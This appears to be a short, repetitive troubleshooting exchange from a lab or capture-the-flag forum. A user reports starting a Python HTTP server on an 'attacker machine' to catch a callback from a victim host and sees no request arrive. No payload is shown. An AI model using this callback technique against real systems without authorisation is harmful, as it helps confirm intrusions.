Have you started HTTP server as described?

Have you started HTTP server as described?

yes (python3 -m http.server &) and the server is accessible from outside the attacker machine

also, i'm not getting a message like "victim.ip - - [10/Aug/2023 14:36:56] "GET /a HTTP/1.1" 200 -" means the command isn't even reached
